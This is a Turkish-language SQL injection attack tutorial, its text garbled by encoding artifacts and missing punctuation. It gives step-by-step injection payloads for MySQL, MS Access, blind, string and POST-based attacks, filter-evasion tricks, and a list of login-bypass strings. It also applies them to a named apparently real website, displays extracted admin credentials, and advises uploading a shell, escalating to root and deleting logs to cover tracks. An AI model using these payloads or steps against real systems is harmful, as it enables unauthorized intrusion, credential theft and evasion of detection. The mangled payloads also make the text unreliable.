CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
